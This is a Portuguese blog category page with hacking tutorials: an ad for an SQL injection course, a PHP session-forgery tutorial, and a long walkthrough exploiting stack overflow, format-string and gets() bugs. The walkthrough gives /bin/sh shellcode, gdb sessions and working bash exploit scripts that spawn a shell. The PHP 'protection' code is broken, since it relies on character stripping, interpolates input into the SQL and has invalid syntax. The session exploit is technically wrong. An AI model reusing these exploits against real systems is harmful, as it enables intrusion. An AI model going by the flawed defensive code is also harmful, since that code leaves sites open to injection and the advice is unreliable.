Arquivo da categoria ‘bugs’

curso sqlinjection, apostila sqlinjection

 

Dentre os assuntos que são ensinados aqui, são:

Mysql básico

Criando uma query

Principio do sqlinjection

O que é sqlinjection

Teoria de sqlinjection

Regras sqlinjection

Criando um sistema de login E senha para testes

Listar dados do banco de dados com sqlinjection

Burlar uma query

Burlar um sistema de login e senha

Conseguir acesso ao banco de dados

Conseguir privilégios em um sistema

Conseguir dados de um sistema

Usando parâmetro UNION

Inserindo dados no banco de dados sem permissão

Alterando dados do banco de dados sem permissão

Excluindo dados do banco de dados sem permissão

Excluindo tabelas do banco de dados sem permissão

Excluindo database sem permissão

Descobrir nomes de tabelas do banco de dados

Descobrir nome das colunas do banco de dados

Protegendo sistema de login e senha

Protegendo dados do banco

Proteção na query

Emunizando site, sistema… do sqlinjection

Para você aprender com precisão este curso você precisa de saber:

Básico em linguagem de programação

Básico em banco de dados

Minha intencao era vender esta apostila porem, nao quero mais vender, achei um jeito melhor de disponibilizar gratuitamente, este curso sqlinjection.  Nao vai precisar de voce gastar nenhum dinheiro para adquirir esta apostila.

Quem quiser este curso, precisa me mandar um email:

juancarloscunha606@hotmail.com, que eu falarei. como conseguir esta apostila de sqlinjection. Que é tambem um curso de sqlinjection.

Clique aqui e veja nosso novo site

Nos Ultimos tempos, o tipo de ataque mais comum entre hackers malvados, é a terrível sql injection. Em Que o hacker injeta um código malicioso no site,sistema(…), e consegui explorar o site, e conseguir diversas informações no site.

Os administradores de sites hoje em dia não estão si preocupando tanto quanto deveriam com a questão de segurança.  Alguns, não é porque não si preocupam e sim porque não dão conta de si proteger contra estes ataques.

Então este que é o meu propósito hoje. É ensinar as pessoas si precaverem do pior, que pode acontecer.

Esse código é muito simples para quem conhece alguma coisa de php.

Código php:

<?php

//si cod que vou pegar via post nao for numero, entao manda para uma pagina de error; caso o link der erro entao da em exit na pagina

if(!is_numeric($_POST[‘cod’]){

header(“location:error.php”);

exit;

}else{//caso contrario o codigo for numero entao pega o cod via post

$cod    =$_POST[‘cod’];

}

if((isset($_POST[‘nome’]) && ($_POST[‘nome’]==””)){//si existe um post chamado nome e neste post nao estiver nada nele, entao da erro

header(“location:error.php”);

exit;

}

//Aqui vamos comecar a segurança do site, nao podera entrar nenhum caracter especial via post, assim bloquiará os ataques de sqlinjection

//a funcao str_replace, é para substituir caracteres de alguma coisa

$nome  =$_POST[‘nome’];

$nome  =str_replace(“‘”,””, $nome);

$nome  =str_replace(“+”,””,$nome);

$nome  =str_replace(“@”,””,$nome);

$nome  =str_replace(“(“,””,$nome);

$nome  =str_replace(“)”,””,$nome);

$nome  =str_replace(“&”,””,$nome);

$nome  =str_replace(“=”,””,$nome);

$nome  =str_replace(“!”,””,$nome);

$nome  =str_replace(“#”,””,$nome);

$nome  =str_replace(“%”,””,$nome);

$nome  =str_replace(“*”,””,$nome);

$nome  =str_replace(“.”,””,$nome);

$nome  =str_replace(“,”,””,$nome);

//Aqui podemos selecionar o banco de forma nomal, sem precisar de medo desta query

mysql_select_db($database_local, $local);

$query_rr = sprintf(“SELECT cod, nome, descricao, codigo FROM postss WHERE cod=’$cod’ and where nome=’$nome'”);

//acima eu selecionei cod,nome,descricao e o codigo da tabela postss em que o cod seja igual ao que nos pegamos via post, e o nome seja //igual ao que nos pegamos via post

$rr = mysql_query($query_rr, $local) or die(mysql_error());

$row_rr = mysql_fetch_assoc($rr);

?>

Conclusão

Esse código foi para mostrar para os administradores de sites que dependendo do assunto, é “fácil si proteger”(Entre aspas, é claro).

Obs.: SI alguém não entender nada deste código, faça as perguntas aqui.

~bye~ Juancarloscunha

Nos tempos de hoje, uma das formas mais utilizadas para esconder e não perder dados, é a forma de registrar uma sessão, Ou cookie, que não será neste post que eu falarei sobre ele.

Session(sessão) é uma variável criada e colocada em algum lugar do navegador de internet, e quando precisa usar essa mesma variável, então o programador cria um código simples para reutilizar esta mesma variável, porem, como tudo tem seu lado bom e seu lado ruim, estas sessões si forem usadas de modo correto, funciona perfeitamente sem correr muitos riscos de uma invasão no site ou algo do tipo.

Esta variável de sessão é desfeita quando o navegador é fechado(obvio, até o nome fala, variável dia sessão).

Vou colocar aqui um código de um sistema vulnerável a ataques via sessão:

Código da pagina login.php:

<?php

//neste exemplo vou citar a sessao chamada ‘nivel’, que é o nível de permissão do user

session_register(‘nivel’);

$_SESSION[‘nivel’]=$nivel_permissao;

//a variável nível_permissao, foi pegada do banco de dados,”exemplo”

?>

Codido index.php:

<?php

/*esta outra pagina ira pegar a sessao registrada e pega também o código do usuário que

Que na maioria das vezes são pegos por sessão ou cookie */

$nivel =$_SESSION[‘nivel’];

$cod_user =$_SESSION[‘cod_user’];

//isto é um nível de permissão para os usuarios

/* se o usuario nao estiver com o nivel de permissao (ADM) OU MELHOR nivel de administrador, entao a pessoa nao entra na pagina, agora si ela estiver o nivel de permissao de administrador*/

if($nivel != “ADM”){

header(“location:error.php”);

exit;

}else if($nivel ==”ADM”){

header(“location:/admin/crm.php”);

}else{

exit;

}

?>

//—————————————————————-à

Na pagina acima, nós vimos uma pagina com session vulnerável.

Agora vem a parte boa do ensinamento.

Como explorar esta falha ? alguém sabe?

Isso é mais fácil do que todos pensam ou possam imaginar.

Si você é um usuário do sistema e não tem acesso de administrador, quando você entrar na pagina index.php que tem a validação ele jogará você para uma pagina de erro.

Então ta, Lembra que la no inicio na primeira pagina, login.php. Ele registrou uma

Session com o tipo do usuário. Então para burlar isso… independente do navegador, exclua todos os registros de autenticação do navegador, pois entre elas estará a nossa que registramos ao logar no sistema.. Depois de ter excluido todas as autenticações do navegador, Crie uma pagina em php, registrando uma sessão com o mesmo nome da sessão do “sistema”, porem, agora vamos jogar o valor “ADM” dentro da sessão. FICARÁ MAIS OU MENOS ASSIM:

Código:

<?php

$nivel=”ADM”;

session_register(‘nivel’);

$_SESSION[‘nivel’]=$nivel;

?>

//————————————————————à

Depois disso, basta entrar diretamente na pagina que voce quer os privilegios, que eles estarao todos ao seu dispor. HEHE

Vou tentar explicar em outro tutorial como si defender destes ataques

~By~ Juancarloscunha

Qualquer duvida, Basta perguntar. Si gostou comente, ou si achou algum erro no meu tutorial, mande-o para mim corrigir

Este texto foi escrito para newbies, então se você for elite ou se considera um, aconselho a não perder seu tempo lendo!

----[ ENTENDENDO ÀS NECESSIDADES ]----

    Não presisar de um exploit para conseguir root em um sistema! Isso soa bastante, hacker não é? Mais isso não precisa ser uma questão de luxo, mas também
pode ser uma necessídade e até mesmo a única solução. Vamos ver um exemplo não real:
    - Você consegue achar um "importante" servidor vulnerável a alguma falha de CGI ou qualquer outra coisa que permita que você execute comandos. Você tenta baixar um backdoor para se conectar por telnet e não consegue pois não tem permição para executar os programa que poderiam ser usados para download(wget, lynx, GET, etc). Mais você ve que o sistema possúi um programa de mail bem antigo que esta com uma falha de stack overflow das mais simples. Você poderia tentar escrever um exploit somente o comando "echo"(imprimir em tela, igual ao “printf”) mais percebe que depois de pronto você não pode compila-lo! E então o que você faz? Esquece esse servidor e vai durmir? Negativo! Você esplora essa falha via linha de comando. Esse é o objetivo deste texto.

----[ PRIMEIRO PROGRAMA BUGADO (STACK OVERFLOW) ]----

    Veja o seguinte programa vulnerável:

==========[ stack_vuln.c ]==========
/*
    Este é um Simples programa vulnerável a stack overflow, porem programas conhecidos também tem este tipo de parâmetros. Portanto, são vulneráveis do mesmo jeito. E deverá ser exploitado via linha de
    comando ou shellscript!
    */

#include <stdio.h>

int main(int argc, char *argv[], char *env[]) {
    char buffer[256];

    if (argc < 2) {
        printf ("Use: %s <frase>\n\n", argv[0]);
        exit(0);
    }

    strcpy(buffer, argv[1]);

    printf ("Voce digitou: %s\n", buffer);
}
===================================

se você sabe programar em C e sabe construir exploits para Stack
Overflow deve saber muito bem que esse é o exemplo mais simples de exploitação de pilha. Mais nós precisamos de alguns dados para podermos exploita-lo. O primeiro é aonde exatamente o bufer estoura e o segundo é aonde nós podemos inserir dados na memória para pegarmos o endereço! Para saber aonde o buffer estoura basta ir testando:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc stack_vuln.c -o stack_vuln
newbie@localhost:~$ gdb stack_vuln
...
(gdb) r `perl -e 'print "A"x270'`
Starting program: ./stack_vuln `perl -e 'print "A"x270'`
Voce digitou: AAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x40004141 in _dl_dst_substitute () from /lib/ld-linux.so.2
(gdb) r `perl -e 'print "A"x272'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x272'`
Voce digitou: AAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: ./stack_vuln `perl -e 'print "A"x268 . "\x78\x56\x34\x12"'`
Voce digitou: AAAAAAAAAAAAAAAA...

Program received signal SIGSEGV, Segmentation fault.
0x12345678 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

Bem. Agora nós já sabemos que nós teremos que colocar o novo endereço de retorno exatamente depois de 268 bytes do argumento. Agora nós precisamos de achar algum lugar da memória para colocar-mos nossos nops e nosso shellcode! Já que nós iremos colocar 268 A's no argumento, poderiamos em vez de colocar isso colocar nosso buffer com os nops e o shellcode.

    Usaremos o seguinte shellcode de execve /bin/sh:
---
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh
---

    Agora precisamos de encher os 268 bytes que temos com esse shellcode e o restante com os nops. Para isso vamos calcula o tamanho desse sc:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ perl -e 'print length("\xeb\x1f\x5e\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31
\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh") . "\n"'
45
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Pronto! Temos 45 bytes para o shellcode e teremos que colocar 223(268 - 45)
NOPs como resto. Então nosso parametro deve ficar algo como:

0                                      223                   268    272
 -------------------------------------------------------------------
| NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
 -------------------------------------------------------------------

    Onde:
    N = NOP (0x90)
    S = nosso shellcode
    R = Novo Endereco Retorno que temos que achar ainda

    Repare que o endereço de retorno é o mesmo endereço de argv[1]. Então vamos fazer ele apontar para alguns dos nops simplesmente achando aonde estão os nops na memória:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gdb stack_vuln
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-slackware-linux"...
(gdb) br main
Breakpoint 1 at 0x80483cd
(gdb) r `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46
\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8
\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x78\x56\x34\x12"'`
Starting program: ./stack_vuln `perl -e 'print "\x90"x223 . "\xeb\x1f\x5e\x89
\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" .
"\x78\x56\x34\x12"'`

Breakpoint 1, 0x080483cd in main ()
(gdb) x/400x %esp
A parse error in expression, near `%esp'.
(gdb) x/400x $esp
0xbffff1f0:     0x40015700      0x40014d80      0x4001512c      0x08048215
0xbffff200:     0xbffff2b0      0x40006b6f      0x08048215      0x0177ff8e
0xbffff210:     0x08048188      0xbffff260      0x400150e0      0x00000001
.....
0xbffff4b0:     0x6e6c7576      0x90909000      0x90909090      0x90909090
0xbffff4c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff4f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff500:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff510:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff520:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff530:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff540:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff550:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff560:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff570:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff580:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff590:     0x90909090      0x895e1feb      0xc0310876      0x89074688
.....
0xbffff5b0:     0xcd40d889      0xffdce880      0x622fffff      0x732f6e69
0xbffff5c0:     0xfff68068      0x504300bf      0x5f53554c      0x4c434e49
0xbffff5d0:     0x5f454455      0x48544150
(gdb)
--- --- --- --- --- --- --- --- --- ---

Achamos aonde nossos nops ficaram + ou - de 0xbfffedb0 até 0xbfffee80. Então basta colocar-mos o programa para saltar para alguma dessas posições de memória para ele ir executando os nops até chegar ao nosso shellcode. Aconselho a colocar bem no meio dos nops. Vejamos se funciona colocando ele para saltar para a posição 0xbffff550:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./stack_vuln `perl -e 'print "\x90"x223 .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff
\xff/bin/sh" . "\x50\xf5\xff\xbf"'`
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPîÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Ai esta nossa exploração via linha de comando! Repare que coloque o
endereço de retorno de tráz para frente. Isso porque esse esquema todo esta em uma pilha(veja meu texto sobre stack overflow)!
Conseguimos isso porque colocamos nosso buffer da seguinte maneira:

   0                                       223                  268    272
    -------------------------------------------------------------------
   | NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN | SSSSSSSSSSSSSSSSSS | RRRR |
    -------------------------------------------------------------------

    Fazendo RRRR apontar para dentro dos NOPs(0x90)!

----[ Escrevendo o exploit em shell script ]----

    Não é meu objetivo ensinar shell script neste texto, então segue o código para esse programa anterior em bash script:

==========[ stack_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a stack overflow      #
# [ chuck_newbie@hotmail.com ]                           #
##########################################################

# O novo endereco de retonro
export NEW_RET=`printf "\x50\xf5\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\
"\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Nossos 223 NOPs
export NOP=`printf "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./stack_vuln "$NOP$SHELLCODE$NEW_RET"

========================================

    Vamos testar:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x stack_xpl.sh
newbie@localhost:~$ ./stack_xpl.sh
Voce digitou: ë^1ÀFF
                    °
                     óV
                       Í1ÛØ@ÍèÜÿÿÿ/bin/shPõÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

Como podemos ver, funciona perfeitamente. Não conheco nenhuma linguagem que não seja possível escrever shellcodes. Se com ela é possível criar uma variável e executar um programa, também é possível escrever exploits!

----[ SEGUNDO PROGRAMA BUGADO (FORMAT STRING) ]----

    Vamos agora ao nosso segundo programa vulnerável a overflow:
==========[ fs_vuln.c ]==========
/*
    Simples programa vulnerável a stack overflow
    com format string.
    Tutorial de exploitação por bash script
*/

#include <stdio.h>

int main(int argc, char *argv[]) {
    char buffer[16];

    if (argc < 2) {
        printf ("Use: %s <string>\n", argv[0]);
        exit(0);
    }

    if (strlen(argv[1]) > 15) {
        printf ("Tentativa de overflow detectada!\nLOGGED!!\n");
        exit(-1);
    }

    sprintf (buffer, argv[1]);
    printf ("Você digitou: %s\n", buffer);
}

=================================

    Bem! Temos dois problemas: O primeiro é que não é possível estourar o buffer passando um paramentro maior do que 15 bytes. E o segundo é que se nós conseguissemos passar não caberia nem nosso shellcode muito menos nossos NOPs e nosso enderço de retorno.

Mais se você perceber, verá que este programa está vulnerável a format
string(veja o texto) então com isso nós já podemos estourar o buffer. Veja:

--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc fs_vuln.c -o fs_vuln
newbie@localhost:~$ ulimit -c 1234567
newbie@localhost:~$ ./fs_vuln %25cDCBA
Você digitou:                         øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %25cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x40040042 in ?? ()
(gdb) q
newbie@localhost:~$ ./fs_vuln %28cDCBA
Você digitou:                            øDCBA
Falha de segmentação (core dumped)
newbie@localhost:~$ gdb -c core
.....
Core was generated by `./fs_vuln %28cDCBA'.
Program terminated with signal 11, Segmentation fault.
#0  0x41424344 in ?? ()
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Com isso nós já sabemos que nosso buffer estoura quando colocamos a string %28c no inicio do parametro, tendo que colocar o novo endereco de retorno ABCD = 0x41424344) logo após! No meu texto sobre Stack Overflow(pode ser encontrado na page do WHCT), eu expliquei como se faz para explorar um buffer pequeno, sujiro que se você não sabe como pegue ele e dê uma boa lida. Mais só pra resumir: Não é necessário que o nosso exploit e nossos NOPs estejam no
argumento do programa vulnerável, basta que ele esteja em alguma parte da memória e então é só fazer-mos o programa vulnerável apontar para ele. Esse lugar da memória geralmente é aonde estão as variáveis de ambiente. Para ficar mais claro veja o seguinte esquema:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export BUFFER=`perl -e 'print "A"x200'`
newbie@localhost:~$ gdb ./fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r lixo
Starting program: ./fs_vuln lixo

Breakpoint 1, 0x080483fa in main ()
(gdb) x/700x $esp
0xbffff458:     0xbffff478      0x40041936      0x00000002      0xbffff4a4
0xbffff468:     0xbffff4b0      0x40014d80      0x00000002      0x08048330
0xbffff478:     0x00000000      0x08048351      0x080483f4      0x00000002
.....
0xbffffdb8:     0x46554200      0x3d524546      0x41414141      0x41414141
0xbffffdc8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdd8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffde8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffdf8:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe08:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe18:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe28:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe38:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe48:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe58:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe68:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffe78:     0x41414141      0x41414141      0x41414141      0x41414141
.....
0xbfffff18:     0x454d4f48      0x73752f3d      0x696c2f72      0x616a2f62
0xbfffff28:     0x4c006176      0x3d474e41      0x425f7470      0x4f480052
0xbfffff38:     0x2f3d454d      0x656d6f68      0x77656e2f      0x00656962
(gdb)
--- --- --- --- --- --- --- --- --- ---

    Como podemos notar, nós podemos colocar dados na memória para nosso programa
acessar! Então vamos fazer o mesmo que o esquema anterior:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ export EGG=`perl -e 'print "\x90"x150 . \
> "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c" . \
> "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb" . \
> "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
newbie@localhost:~$
--- --- --- --- --- --- --- --- --- ---

    Com isso nós criamos uma variável de ambiente com 150 NOPs seguido do nosso shellcode. Agora vamos ver aonde ele se encontra na memória de acesso ao nosso programa:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb fs_vuln
.....
(gdb) br main
Breakpoint 1 at 0x80483fa
(gdb) r
Starting program: /home/newbie/tecnicas/expl_ln_cmd/fs_vuln

Breakpoint 1, 0x080483fa in main ()
(gdb) x/400x $esp
0xbffff460:     0x080484c0      0xbffff4c4      0xbffff478      0x0804849c
0xbffff470:     0x4015760c      0x40014900      0xbffff498      0x40041936
0xbffff480:     0x00000001      0xbffff4c4      0xbffff4cc      0x40014d80
.....
0xbffff870:     0x7572743d      0x47450065      0x90903d47      0x90909090
0xbffff880:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff890:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8b0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8c0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8d0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8e0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff8f0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff900:     0x90909090      0x90909090      0x90909090      0x90909090
.....
0xbffffa70:     0x7a6c2e2a      0x31303d68      0x3a31333b      0x70722e2a
0xbffffa80:     0x31303d6d      0x3a31333b      0x61742e2a      0x31303d72
0xbffffa90:     0x3a31333b      0x61742e2a      0x31303d7a      0x3a31333b
(gdb) q
The program is running.  Exit anyway? (y or n) y
--- --- --- --- --- --- --- --- --- ---

    Achamos os nossos NOPs. Agora vamos executar nosso programa vulnerável de uma modo que ele salte para dentro dos NOPs e vá executando até chegar ao shellcode, para isso escolhi o endereco 0xbffff8b0. Veja:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ ./fs_vuln %28c`perl -e 'print "\xb0\xf8\xff\xbf"'`
Você digitou:                            h°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---
            Exploitação executada com sucesso! :)

----[ Escrevendo o exploit em shell script ]----

Agora segue o código do exploit para o segundo programa vulnerável a forma string escrito em shell script:

==========[ fs_xpl.sh ]==========
#!/bin/sh

##########################################################
# Exploit para programa vulneravel a format string       #
##########################################################

# O novo endereco de retonro que apontará para os nops
export NEW_RET=`printf "\xb0\xf8\xff\xbf"`

# Shellcode execve -> /bin/sh
export SHELLCODE=`printf \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"\x07\x89\x46\x0c\xb0"\
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"\xdb\x89\xd8"\
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"`

# Aqui temos 150 NOPs(chataum conta isso)
export NOP=`printf \
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"\
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"`

# Agora executamos o programa vulnerável com o argumento maligno
./fs_vuln "%28c$NEW_RET"

=================================

    Vamos aos textes:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ chmod +x fs_xpl.sh
newbie@localhost:~$ ./fs_xpl.sh
Você digitou:                            x°øÿ¿
sh-2.05b$
--- --- --- --- --- --- --- --- --- ---

    Como podemos perceber, não existe segredo algum amigo. Agora é só questão de pratica!

                       ----[ CONCLUINDO ]----

Bem amigo, é possível fazer qualquer coisa se correr atraz. Digo mais uma vez que saber fuçar com shell script não é questão de luxuria mais sim uma necessidade pois o verdadeiro fuçador não constroi coisas pra facilitar, mais trabalha com o que tem em mãos! Existem inumeros metodos a mais de exploitação, talvez até algum que seja mais fácil do que em C ou outra linguagem pois com shell script você interage diretamente com os programas e talz, principalmente falhas em fucões que manipulam arquivos como as que criam arquivos temporários e
essas coisas! Bastando apenas saber armazenar a resposta de um comando, filtrar, passar o resultado para outro comando e por ai vai!

Veja como é possível explorar qualquer programa por linha de comando:
==========[ xtra_vuln.c ]==========
#include <stdio.h>

int main() {
    char nome[20];

    printf("Qual é o seu nome: ");   
    gets(nome);
    printf("Olá %s!!\n\n", nome);
}
===================================

    Agora veja como podemos explora-lo:
--- --- --- --- --- --- --- --- --- ---
newbie@localhost:~$ gcc xtra_vuln.c -o xtra_vuln
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x40004443 in ?? ()
(gdb) q
newbie@localhost:~/tecnicas/expl_ln_cmd$ ./xtra_vuln
Qual é o seu nome: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD
Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
.....
Program terminated with signal 11, Segmentation fault.
#0  0x44434241 in ?? ()
--- --- --- --- --- --- --- --- --- ---

    já sabemos agora aonde que sobrescreveremos o endereço de retorno! Agora basta fazer o exploit usando o seguinte esquema:
--- ------ --- --- --- --- --- --- ---
newbie@localhost:~$ echo xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD\
> `perl -e 'print "\x78\x56\x34\x12"'` > buffer.bof
newbie@localhost:~$ ./xtra_vuln < buffer.bof
Qual é o seu nome: Olá xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxABCDxV4!!

Falha de segmentação (core dumped)
newbie@localhost:~/tecnicas/expl_ln_cmd$ gdb -c core
....
Program terminated with signal 11, Segmentation fault.
#0  0x12345678 in ?? ()

(gdb)
--- --- --- --- --- --- --- --- --- ---
 ----[ Fontes ]----
    0ut0fBound            .::. http://0ut0fbound.ath.cx
    Security Focus        .::. http://www.securityfocus.com.br
    Google                .::. http://www.google.com.br

Obs.: Si  alguem tiver lido este tutorial e si enteressou neste assunto… Eu tenho um livro falando sobre isso. Quem quiser, basta mandar um email para mim


Clique aqui e veja nosso novo site

